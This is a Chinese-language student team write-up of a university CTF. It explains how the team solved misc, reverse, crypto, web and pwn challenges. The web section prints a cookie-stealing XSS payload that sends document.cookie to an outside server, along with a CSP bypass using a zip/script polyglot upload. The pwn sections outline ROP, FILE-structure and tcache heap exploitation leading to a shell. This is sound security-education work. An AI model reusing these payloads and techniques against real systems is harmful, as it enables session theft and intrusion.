Final CTF write up

（為了符合繳交格式的要求，我們把原本寫的 markdown 轉成 pdf 上傳了一份；但因為轉成 pdf 後不太好看，所以同時也附了 html 格式的 writeup，兩者內容應該是一樣的。）

隊伍：臺北沒放假 0w0

成員：

- 陳泓為 R08922091
- 林廷衛 R08922089
- 王佑安 R08922019
- 蔡昀達 r08946007

關於分工：雖然事前沒特別安排，但比賽開始後發現每個成員主動領題目的領域剛好都不相同，於是我們就變成各自解自己想解的題目，偶而會交流一下目前發現的東西、遇到的困境，但通常其他人聽完也弄不清楚狀況（因為技能點分配差異太多了），所以底下大部分都是一題一人的分工。

Misc

Ponzi scheme

一開始進去會有$1000，可以把全部錢投進三個選項

1. 6秒後獲利2.23%
2. 90秒後獲利25.9%
3. 1800秒後獲利900%

只要超過$10000就能拿到flag

簡單算一下就會發現選項1期望值比另外兩個高很多，每次都選1只要10分鐘內沒破產就可以超過$10000

再來不斷f5觀察一下，當下發現決大多數時候pool裡都有超過$10000

直接寫個script讓他一直按第一個選項，破產就重來，多跑幾次就拿到flag了

分工：王佑安

`FLAG{ponzi_scheme_fa_da_chai_$_$!!!}`

Welcome

到 https://tlk.io/edu-ctf-2019 尋找助教留的 flag

分工：林廷衛

Flag: `FLAG{Welc0me_t0_Fin41_CTF_and_H4ppy_N3w_Year!}`

Reverse

H0W

給了3個檔案

1. H0W.pyc
2. terrynini.so
3. output.txt

先把 H0W.pyc 解譯成.py檔

發現H0W.pyc 會import terrynini.so 的並使用它的涵式

用ida把terrynini.so開起來分析nini1~6的涵式

1. nini1: c time 涵式
2. nini2: 把當前取得timestamp 用 gmtime 轉 time struct 然後寫到 output.txt 的最後
3. nini3: open(“output.txt”, ‘wb’)
4. nini4: c srand 涵式
5. nini5: 隨機選擇(ichinokata, ninokata, sannokata, yonnokata)4個涵式其中一個對4byte整數做運算
6. nini6: c fwrite 涵式

一開始在卡住的幾個地方

1. 轉gmtime的struct time月份會跟正確日期有點不同, 後來直接用zip檔的日期為準
2. 不知道怎麼在python做srand, 跟random.seed不一樣, 後來直接用c把亂數先產出來
3. 用python做的時候沒有注意要維持32bit整數, 做rotate跟xor會overflow, 後來用ctypes.int來處理

最後解出來的檔案開頭有png header 所以以圖檔格式打開就可以看到 Flag:
`FLAG{H3Y_U_C4NT_CHiLL_H3R3}`

分工：蔡昀達, 卡住的地方隊友都有提供幫助

PokemonGo

給了一個log檔, 應該是用go寫 ssadump 產生的

先過濾 init 的 code 找出 main, 發現main很單純

讀 input 然後 pikacheck 檢查

分析邏輯得出以下pseudocode

```
input = new string (input)
Scanf(input)
slice(input)

if PikaCheck(input):
    goto 1
else:
    print(nothing here)
    exit()

def PikaCheck(input):
    t0 = int[20](a)
    for i in range(len(input)):
        a = int(input[i])
        b = int(input[(i+1)%len(input)])
        t0[i] = a+b
    sum = 0
    tmp = [185, 212, 172, 145, 185, 212, 172, 177, 217, 212,
     204, 177, 185, 212, 204, 209, 161, 124, 172, 177]
    for i in range(20):
        sum += t0[i] - tmp[i]
        if sum == 0:
            goto 4
        else:
            return false
```

然後因為全部都在A-Za-z0-9 所以直接列出所有符合的

裡面有個 pikapika 的應該是Flag: `FLAG{PikAPikApikaPikap1Ka}`

分工：蔡昀達

YugiMuto

給了一個 main.gb 檔, 用file看一下是個 Game Boy ROM image

下載並使用 bgb debugger 把檔案開起來, 發現要輸入一串東西, 輸入錯會顯示 “NO NO NO”

我使用ida 把 processor 設成 Zilog 80 [z80] 但解不出來, 因此使用 radare2 來做分析, 使用字串搜尋功能, 但沒找到任何線索, 像是"GIVE ME SOMETHING" 或是 “NO NO NO” 都沒找到

開始跑 bgb 發現它不會同步 follow pc counter 可能因為動太快, 而且很多涵式都在處理影像輸出, 因此很難直接用 bgb debug, 只能用設 breakpoint 的方式看有沒有走到

我用 bgb 的單步執行先走出等待輸入的涵式, 然後發現是在fuc.0x1357 的地方, 接著用 radare2 看 function xreference, 找到fuc.0x1357相關的涵式

```
fuc.0x1285 -> fuc.0x0200 -> fuc.0x1357
       -----> fuc.0x1574 -> fuc.0x1619
       -----> fuc.0x0e61
```

把這幾個function瀏覽一遍發現fuc.0x0e16似乎是在做字串比對, 過程中查找並且研讀一波 gameboy instruction http://marc.rawer.de/Gameboy/Docs/GBCPUman.pdf

最後直接跳到 fcn.0x0e61 執行, 把 breakpoint 設在 0xf9c 判斷式的位置, 用 bgb 選單中 debug -> evaluate expression 來看 register 的值 (直接打c) 找到Flag:
`FLAG{0HMYGODY0UAREGAM3B0Y}`

分工：蔡昀達

Crypto

RSACTR

Descrpition Descrpition:

給你3種操作，你總共可以操作3次。 第一個是拿RSA參數，第二個是加密一個你給的明文，第三個是拿Flag的密文。加密方式大概像是

```
nonce = random
cipher = ""
e = 3
for i in range(0, len(plaintext), 16):
    x = pow(nonce, d, n)
    c = x + plaintext[i:i+16]
    cipher += hex(c)
    nonce += 2020
```

Solution Solution:

首先我們可以用加密明文的方式拿到nonce，在這之後發現拿到的 cipher 符合下面這種形式：

```
(cipher - x)^3 = nonce + c*2020
```

其中除了x之外都是已知資訊。鑒於x = Flag是128bit，我們可以用coppersmith去解他。

分工：陳泓為

```
FLAG{dIdyousolVEITWIthCoppERsmith}
```

train

Descrpition Descrpition:

給你的密文大概像是

```
IV = IV
cipher = ""
e = 3
for i in range(0, len(plaintext), 16):
    c = pow( IV = plaintext[i:i+16], e, n)
    IV = c
    cipher += hex(c)
```

Solution Solution:

拿到的 cipher 符合下面這種形式：

```
(IV + x)^3 = cipher
```

其中除了x之外都是已知資訊。鑒於x = Flag是128bit，我們可以用coppersmith去解他。

分工：陳泓為

```
FLAG{cBCNEVERGetSoLD}
```

winner winner chicken dinner

Descrpition Descrpition:

給你一個step function大致如下:

```
state = int.from_bytes(os.urandom(8), 'little')
poly = 0xaa0d3a677e1be0bf
def step():
    global state
    out = state & 1
    state >>= 1
    if out:
        state ^= poly
    return out
```

server每43個step會讓你猜一次out，並告訴你猜中或否。

Solution Solution:

xor key 這個動作可以想成和在key對應的位置上的bit ^ out，所以我們可以模擬這個動作。這樣做後，相當於每43步會告訴你某些initial state 的 bit xor 起來是多少。收集一定數量後去做矩陣的對角化，找出每一個位置的initial bit是多少就可以回推現在的out是多少了。

分工：陳泓為

```
FLAG{w3_W4nT_fA_d4_CaI!!!fA_d4_CaI!!!fA_d4_CaI!!!}
```

Web

babyRMI

這題給了一段 java code，當中用到的 RMI(Remote Method Invocation)，當前有一個 `client.java`，執行後就會得到一串 Hello 類的訊息。

稍微看一下 `RMIInterface` 的 code，就會注意到他有另外一個 method `getSecret`，改成執行它之後就會得到訊息說 FLAG 在別的 object 當中。 查一下相關的 document (https://docs.oracle.com/javase/8/docs/api/java/rmi/registry/Registry.html)，就會發現 `Registry` 有個 method `list()` 可以列出所有的名稱，藉此找到名稱 `FLAG` 後，改成存取這個 object 就可得到 flag 了。

分工：林廷衛

Flag: `FLAG{java_registry_is_important_to_rmi_deserialization_vulnerability!}`

how2meow

1. upload.php可以上傳一個zip檔，副檔名必須是.meow，解壓縮後裡面必須有個叫做meow的檔案，檔案內容為edu-ctf
2. meow.php會parse你的query顯示出來
3. 可以傳meow.php的連結給admin，要想辦法把admin的cookie偷出來，標準的XSS題

隨便試一下，發現meow.php前端完全沒有filter，直接傳個<script>alert(1);</script>看看，結果沒有被執行，看log是被CSP擋掉了

看了一下header裡面有這行

```
content-security-policy: default-src 'self' 'unsafe-eval'; img-src *;
```

img沒擋，一開始想要用<img src='REMOTE_SRC'>，可以成功XSS，但不能用unsafe-inline所以沒辦法傳cookie

研究了一下upload.php，看能不能把script包到zip裡面，就能在server上面include，結果發現直接寫一段script，把zip的binary用/**/註解起來，append在script後面還是會被當成合法的zip，同時也是合法的script

```
window.location.href='https://www.csie.ntu.edu.tw/~b04902004/a.php?flag='+document.cookie
```

後面註解一段合法的zip binary，傳上去拿到zip檔的path

payload:

```
?q=https://komodo.zoolab.org:8443/meow.php?q=<script
src="upload/b16e62510f0d2b97ea7d369b52a709ddf599f3793f6f0ff66eb9ad6f7e8f55d1"></script>
```

傳給admin後回到自己的server拿flag

分工：王佑安

FLAG{u_r_m3ow_xss_m4ster}

King of PHP

?c可以把內容用file_put_contens寫進tmp檔

?f給檔名會用file_get_contents輸出

?info可以看phpinfo，發現幾個重點

1. allow_url_fopen=true
2. 沒設base_opendir

然後看到會擋filename的第一個字元不能是p，很自然的想到可能是要擋phar deserializatoin，可以用compress.zlib://phar://bypass，但沒有找到可以觸發RCE的gadget，直到賽後還是沒想到要serialize什麼東西進去

中間有嘗試了幾個其他方向

1. ?f=/proc/net/fib_trie，發現ip=172.17.0.13，戳戳看附近其他ip，發現?f=http://172.17.0.1會噴個It Works!回來，但掃了一下172.17.0.1的其他path，除了

index.html找不到其他東西會return
2. `?f=http://172.17.0.13/server-status`可以看到server-status，監控了一陣子其他人的request，看能不能偷到別人的payload，結果發現這個洞後直到比賽結束都沒有人解出來
3. 看了server-status後發現有人在戳`?f=/readflag`，跟著一起戳戳看，發現有個`/readflag.c`，裡面可以看到flag的位置在`/why_the_flag_name_is_so_weird`，但似乎權限不足，php讀不出來

分工：王佑安

echo

網頁上亂打東西進去，毫無反應就是個echo，

開f12看下source，發現有行註解

```
<!-- /echo.zip -->
```

把這個path打上去，拿到一包source code

code看起來也就是個簡單的echo server，找不到什麼明顯的洞，大概是要prototype pollution

用source code local架起來測試一下，結果`__proto__`的key都會被過濾掉，發現server沒開json data，urlencode傳進去default的parser是qs，trace他的source code後發現他會用`hasOwnProperty`檢查prototype pollution

沒辦法傳prototype pollution，只好trace看看express跟ejs的source code，但也沒有發現可以RCE的地方，後來就放棄了。

分工：王佑安

Pwn

Impossible

這題因為溝通失誤（當時凌晨三、四點了，我們都以為其他人已經睡了），所以有兩個人分別解了這題，以下分別列兩人的 write-up：

林廷衛的版本

一開始腦袋可能還沒進入 CTF 狀態，一直沒發現 `abs` 後 overflow 的問題，花了一些時間研究 scanf 輸入很長字串的時候對於 malloc、free 會有哪些操作等等。弄了其他一些東西之後，再回來才發現把長度指定成 `INT_MIN`（-2147483648 2147483648）會導致取 `abs` 時 overflow 而維持負整數，後續又會因為 `read` 吃的長度參數是 unsigned 而變成極大正數，所以有 buffer overflow。

接下來就是單純的湊 ROP chain。

- 設定參數執行 puts 的 plt 讓它印出 puts 的 got 來取得 libc base
- 設定參數執行 read 把我的輸入寫到 puts 的 got（然後輸入 one gadget 的位置）
- 執行 puts 的 plt

這樣就可以順利執行 one gadget 了！但是要確認 constraint 能不能滿足。

實際執行之後，發現有一個 one gadget 的條件只要讓 stack 位置往下一格（8 bytes）就能滿足，所以我就在 ROP chain 裡加入一個無用的 `ret` 來解決。

我的 exploit script 是 `nkhg_solve.py`，執行時會在當前路徑尋找 `libc-2.27.so` 來取得一些 symbol 資訊。

Flag: `FLAG{H0w_did_y0u_byp4ss_my_ch3cking?_I7s_imp0ss1b1e!}`

蔡昀達的版本

一開始觀察source code, 發現要 buffer overflow一定要繞過len檢查, 但是檢查很完整, 因此猜是型別轉換的時後會 overflow 然後繞過檢查, 查了一下用到涵式的變數型別發現 abs 會 overflow 因此還是負數, 但在 read 是 unsigned 會當正數, 因此把長度輸入 -2147483648 就可以繞過檢查

接著開始串rop, 基本上跟 lab 的 retlibc 一模一樣, 先 leak libc_start_main 的位置, 再回到main 重做一次, 第二次串上 /bin/sh 呼叫 system 拿 shell

過程中在 rop chain 裡面沒有塞 return 讓他對齊一直 crash, 後來發現這點改成跟 retlibc lab 一模一樣就成功了, 還是不熟悉在 rop chain 裡面塞ret的時機

我的 exploit script 是 `impossible.py`

Flag: `FLAG{H0w_did_y0u_byp4ss_my_ch3cking?_I7s_imp0ss1b1e!}`

nonono

這題是標準的 note 型選單題。

去看最常有問題的 `free` 部份，這裡寫得很好，`free` 完還會把 pointer 設成 `NULL`，基本上不會有漏洞。除了基本的 `new`、`show`、`remove` 外，還有個奇怪的功能是讓它開檔讀取一個假的 flag 給我們。

研究了一陣之後，覺得計算 pointer 陣列 index 的變數型態怪怪的，實際測試一下，發現他的確會錯誤的蓋到負數區域。在 gdb 裡看一下位置，發現負數區域馬上就到不可寫的部份了，能蓋到的東西只有 `stdin@@GLIBC_2.2.5`、`stdout@@GLIBC_2.2.5` 跟 `completed`（某個被 `_do_global_dtors_aux` 用到的變數，不知道能幹麻），前兩者或許可以偽造一個 FILE structure 取代他來做壞事。

查了一下相關的資料，偽造 FILE structure 的基本要求是要構造出合法的 `lock` pointer，不然程式要 access 這個 structure 時會直接 crash。但是這題的保護全開，當前我沒有任何已知的合法記憶體位置可以用。這時突然想到，我可以用 `show` 功能指定負數區域，或許可以 leak 出東西，於是就利用這個方法先 leak 出了 code base。（我後來卡住時還有花時間把所有可觸及的區域研究一遍，裡面似乎也只夠 leak 出 code base，其他像是 heap、stack、libc 都沒辦法）

在我有了 code base 要為造 FILE structure 上去時，發現在 `malloc` 之後、我輸入東西前，`stdout` 跟 `stdin` 都會被用到，所以我偽造的 FILE structure 還沒輸入進去就會先因為 `lock` 壞掉而 crash。後來突然想到印出假 flag 的可疑功能可能有用！就是先執行一次那個功能，那麼就會有個合法的 FILE structure 被 free 回 heap，這時只要取正確的大小，就會直接把那個 structure 取出來，那麼就不會因為 `lock` 問題壞掉了！

接著就是要為造 `stdin` 還是 `stdout` 以及偽造後要做什麼的問題了。結論是：如果覆蓋 `stdin`，在 `malloc` 下去之後我就再也沒辦法輸入東西了（應該是因為回收進去的 FILE structure 裡的 file descriptor 不可用，我自己測試似乎上面寫了 `-1`）；而 `stdout` 可用，而且有個奇怪的現象，就是

puts 似乎會直接從 libc 的 data 段取 FILE structure，所以完全不受影響，而 printf 才會取全域變數的 stdout。

接下來想要構造假的 vtable，但是發現我沒有其他已知的可控位置跟好的函數來執行，所以必須先 leak 更多資訊。於是就適當的調整 fake stdout 的 flag 跟 buffer pointer，讓他印出包含 heap 跟 libc 位置的資料。接下來要偽造 vtable，嘗試一陣子加上找 source code 讀之後，才發現這個版本的 libc 似乎對 vtable 檢查過多，難以利用。

所以覺得回歸打 heap，方向是利用 stdout 的 buffer pointer 把全域變數中紀錄的 heap pointer 打壞。但是 stdout 寫入的值就是 printf 印出的值，是無法控制的，而且拿來覆蓋 pointer 的 low byte 還會因為 chunk address 沒有 align 而 crash，所以只能拿來覆蓋 second low byte。但是 second low byte 已經受到 ASLR 影響了，所以我會先花力氣精細的計算 heap address 把它調整到固定的樣子（top chunk 在 0x----5000），然後把中間的 0x50 複寫成 0x53，這樣他就會在下一次 malloc 取得的 chunk 中間，所以可以在把它 free 掉重新取出來前任意偽造上面的值，取得 arbitrary write！

這個 libc 是佛心的舊版 tcache，所以就開心的把 freehook 改成 system，然後 free 一塊寫有 /bin/sh 的 chunk 即可 get shell！

Exploit script 附在 solve.py，執行時會在當前路徑尋找 libc.so.6 來取得一些 symbol 資訊。（然後 code 段的 address 有可能無法順利被 puts 印出，所以有一定的失敗率）

分工：林廷衛

Flag: FLAG{Now_You_Know_the_File_Stream}

re-alloc

這題用了蠻新的 libc 2.29（ubuntu:19.04 上的），是個保護扣掉 FULL RELRO 跟 PIE 的 heap 選單題，難點還有 pointer 只給兩個、沒有輸出 heap 資料的功能。

不過，藉由出題者好心附上的程式碼，可以初步找到不少漏洞：

- read_long 這裡面讀完 buf 不會補 null byte，平常被拿去 atoll 計算，不太能用，不過如果 GOT hijack 掉 atoll 就可能很實用了（其實還有 __read_chk 最後的 size 怪怪的，但查了一下資料覺得沒有辦法利用）
- read_input 只要結尾不是換行字元就不會補 null byte
- allocate 有個 off-by-one null byte
- reallocate 把 size 設成 0 可以送一次 free，並且不會清掉 pointer，可以達到 Use After Free。

因為沒有輸出 heap 資料的功能，所以除非去玩 FILE structure，不然能利用的似乎只有刻意漏掉的 Partial RELRO 跟 No PIE。仔細看了一下 GOT 上有的東西，就想到一個很美好的規劃：把 atoll hijack 成 printf@plt。這樣一來等於有一個無限次輸入 16 byte 的 format string attack 可以用，而且當我們需要讓他發揮原本 atoll 的功能時，可以用 %[number]c 來控制函數的回傳值（因為這個數量的 byte 會被送到網路上，所以其實不適合輸入太大的數字，不過這題看起來也不會有需要輸入數值超過 0x78 的情況）。

想到這個美好的規劃之後，就著手要用 reallocate 功能的漏洞製造 double free，結果都沒辦法成功。搭配 source code 仔細 trace 一下，才發現這個版本 libc 對 tcache 有加上比較複雜的檢查，其機制簡述如下：「chunk 被放入 tcache 時，會在資料的第二個位置（第一個位置就是紀錄下一個 chunk 的 addr）紀錄一個特定值（應該就是 tcache 本身的位置）；當有 chunk 要被放

入前，會先看那個位置是否就是那個特定值，如果是的話，直接把 tcache（同 size 的 chain）裡每個 chunk 掃過去檢查有沒有跟現在要放的這塊一樣。」一時間找不到方法繞過這個檢查機制。除此之外，off-by-one null byte 的漏洞也因為產生的 chunk size 大小只到 `0x80` 而難以利用（畢竟蓋掉之後 size 就會變成 0）。

我心中一直把 `realloc` 當成一次 `free` 跟一次 `malloc`，後來突然想到：如果 `realloc` 指定的 size 原本的 chunk 就夠大，它應該會想要給你原本那塊吧。確認一下這個版本 libc 的確是這樣實作的（當然，如果新 size 縮小夠多，也會把剩餘的空間切出來當作被 `free`），所以我只要 `realloc` 跟原本一樣的 size，就相當於有了修改 note 的功能。而且這可以針對已經被 free 進 tcache 的 chunk 修改，差不多就是達到 arbitrary write 了！

然而，縱使有了修改功能，我們仍然會遇到 pointer 不夠用的問題：`heap[0]` hold 一塊被塞進 tcache 的 chunk 並修改上面的值之後，還要再兩次 malloc 才會拿到位置被指定的那個 chunk。比賽中，我的 code 因為不斷的修改，留下了一段歷史遺跡，很幸運的發現他幫我解決了這個問題，它現在在 exploit 裡長這樣：

```
rfree(1)  # I don't know why, but this line seems do the magic
```

我在比賽後研究了一下這行到底有什麼魔力：
我們知道，`realloc` 若指定新 size 為 `0` 會相當於 `free`、若指定原 pointer 為 `NULL` 會相當於 `malloc`，那麼若是 `realloc(NULL, 0)` 會怎樣呢？答案是相當於 `malloc`（讀完 code 之後，發現連 manual 裡也是這樣描述的）。而 `malloc(0)` 會如何呢？根據這個 libc 的實作，會回一個最小合法 size 的 chunk（這點 manual 的描述則是可能 return 一個合法的 malloc 結果也可能 return NULL）。而我當時很幸運的正在使用最小 size 的 chunk，所以這個 free 操作就幫我拿掉一個 chunk 並且不佔用 pointer。（順帶一提，後面第二次 arbitrary write 時我也曾考慮用同樣這行，但沒有成功，理由就是因為當時使用的 chunk size 不一樣了）

有了第一次 arbitrary write 後，照著剛剛的美好規劃把 `atoll` hijack 成 `printf@plt`，然後利用 format string attack，可以 leak libc 以及把 heap pointer 清成 NULL（因為長度只有 16，要達到 arbitrary write 有點困難，但可以把任意位置改成 `0`；順帶一提，當時沒想太多就實作了逐 byte 改成 `0` 的作法，之後才發現這步驟有點多餘，可以用 `%9$ln` 這種 format string 一次改全部）。這樣就不會用 pointer 不夠用的問題，於是就再一次 arbitrary write 把 freehook 改成 system，然後 free 一塊寫有 `/bin/sh` 的 chunk 來 get shell！

分工：林廷衛

Flag: `FLAG{Heeeeeeeeeeeeeeeeeeeeee4p}`